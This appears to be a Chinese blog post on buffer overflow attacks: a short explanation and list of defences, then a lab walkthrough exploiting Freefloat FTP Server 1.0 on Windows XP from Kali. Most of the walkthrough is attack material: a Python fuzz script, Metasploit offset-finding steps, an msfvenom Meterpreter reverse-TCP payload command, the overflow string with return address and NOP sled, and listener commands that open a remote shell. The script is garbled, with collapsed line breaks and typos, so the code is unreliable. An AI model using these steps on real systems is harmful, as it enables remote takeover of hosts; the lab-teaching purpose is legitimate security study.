缓冲区溢出攻击(详细解析)
定义:利用缓冲区溢出漏洞进行攻击行动
攻击原理
通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
防范方法
缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞,则很大一部分的安全威胁可以得到缓解。
有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响。
1.通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。
2.强制写正确的代码的方法。
3.利用编译器的边界检查来实现缓冲区的保护。这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是相对而言代价比较大。
4.一种间接的方法,这个方法在程序指针失效前进行完整性检查。虽然这种方法不能使得所有的缓冲区溢出失效,但它能阻止绝大多数的缓冲区溢出攻击。分析这种保护方法的兼容性和性能优势。
环境模拟
攻击机:kali2021
靶机版本:windows XP 英文版
本环境自己搭建,部分工具自己下载
缓冲区溢出攻击脚本
import socket
import optparsedef ftpfuzz(host,post):st = ()conn = socket.socket(sockrt.AF_INET, socket.SOCK_STREAM)try:conn.connect((host,port))print '[+] Connected'except:print '[-] Connection failed!'exit(0)res = conn.recv(1024)print str(res)print '[+] Sendinf buffer...'conn.send('USER ' + st + '\r\n')def main():parser = optparse.OptionParser('usage%prog '+'-H <target host> -P <target port>')parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')parser.add_option('-P', dest='tgtPort', type='int', help='specify target port')(option, args) = parser.parse_args()host = options.tgtHostport = options.tgtPortif (host == None) | (port == None):
print parser.usageexit(0)ftpfuzz(host,port)if __name__ == '__main__':main()
2./usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300 生成300字节的字符串
3.将生成的300字符串放进脚本中,st=()
4.在windowsxp中,开启靶机环境
C:\Tool\OllyICE\OllyICE.exe
C:\freefloatftpserver1.0\Win32\FTPserver.exe
启动ftp
5.运行脚本,进行溢出
python ftp_fuzz_test.py -H 172.16.101.10 -P 21
靶机显示内存地址在37684136溢出
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q
0x37684136
发现在230字符串溢出
7.生成shellcod上传脚本,进行payload监听
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.101.7
LPORT=5551 -f python -v shellcode -b “\x00\x0a\x0d”
在windowsxp中,打开cmd,切换Tool目录下查看可执行模块的内存地址
findjmp.exe USER32/dll
脚本添加
st = (“A”*230 + “\x53\x93\xD2\x77” + “\x90” * 32+shellcode)
打开msfconsole进行监听
use exploit\multi\handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.101.7
set LPORT 5551
Python ftp_fuzz_test.py -H 172.16.101.10 -P 21
运行脚本,进行会连
缓冲区溢出攻击(详细解析)相关推荐
- 详解缓冲区溢出攻击(超级详细)
一.预备知识 预备知识指需要先理解main函数反汇编代码. 注意: 1.实验环境 ① VMware® Workstation 16 Pro ② 32位的Linux系统:Ubuntu16.04 2.gc ...
- 缓冲区溢出攻击-C语言中的危险函数
1.缓冲区溢出攻击 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上.理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符.但是绝大多 ...
- 缓冲区溢出攻击初学者手册(更新版)
译者:IDF_Lab 来源:缓冲区溢出攻击初学者手册(更新版) 说明 之前版本翻译质量不佳,本人赵阳在这里对本文的读者表示深深的歉意.由于本人的疏忽和大意导致您不能很好的读完这篇文章,同时也对原文 ...
- 网络安全实验:CCProxy缓冲区溢出攻击
CCProxy缓冲区溢出实验 一.实验环境说明 溢出对象:CCProxy(一款代理服务器软件,支持FTP和Telnet) 调试工具:CDB.WinDbg.OllyDBG.IDA Pro etc 实验环 ...
- 缓冲区溢出攻击指什么?如何防御?
缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击行为,是一种非常普遍.非常危险的漏洞,也是最常见的网络攻击手段,该攻击虽然简单但危害性极大.那么缓冲区溢出攻击是什么?如何防御?本文详细介绍一下. 缓冲区 ...
- Linux下缓冲区溢出攻击的原理及对策
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...
- 网络安全——缓冲区溢出攻击
1.缓冲区溢出概述 什么是缓冲区?它是指程序运行期间,在内存中分配的一个连续的区域,用于保存包括字符数组在内的各种数据类型.所谓溢出,其实就是所填充的数据超出了原有的缓冲区边界,并非法占据了另一段内存 ...
- 实验8 缓冲区溢出攻击实验
实验8 缓冲区溢出攻击实验 缓冲区溢出是目前最常见的一种安全问题,操作系统以及应用程序大都存在缓冲区溢出漏洞.缓冲区是一段连续内存空间,具有固定的长度.缓冲区溢出是由编程错误引起的,当程序向缓冲区内写 ...
- Win32的缓冲区溢出攻击(涉及用WinDbg分析 overflow函数的返回地址所在的地址与buffer首地址的距离 OFF_SET)
Win32的缓冲区溢出攻击 一.学习过程 二.学习成果(求OFF_SET) 三.扩展阅读 一.学习过程 1.overflow函数的源代码 #include <stdio.h> #inclu ...
最新文章
- 友盟小米收不到推送消息_Android 手机收不到消息推送的设置指南 - 融云 RongCloud...
- dubbo相关的知识点总结
- C#简单操作MongoDB
- 初创团队最重要的是什么_我从一家出色的初创公司工作中学到的最重要的教训...
- java并发访问_Java并发访问
- FragmentActivity和Activity的区别
- php setheader,PHP-MPDF:如何删除setHeader()和setFooter()边框
- java并发编程(10)-- 线程池 底层原理
- 学web前端从哪里开始学起呢-好程序员
- 真无线蓝牙耳机哪个音质最好?2020高性价真无线蓝牙耳机音质排行榜!
- Linux I2C 核心、总线、与设备驱动
- ARMv8-A笔记一 ARM-A系列处理器介绍
- 114号和116号元素命名最终确定
- IT人的5G网络架构视点:从网络架构演进的前世今生详解5G各NF网络功能体
- 高通MSM8909 qpnp-vibrator.c
- 树上战争(2545)
- ros订阅话题python_ROS之话题的发布与订阅
- 如何在智能手机上安装mysql(安卓系统)
- [2011-04-30]返现网排行榜
- 迅为iTOP-4418/6818开发板-MiniLinux-GPS使用文档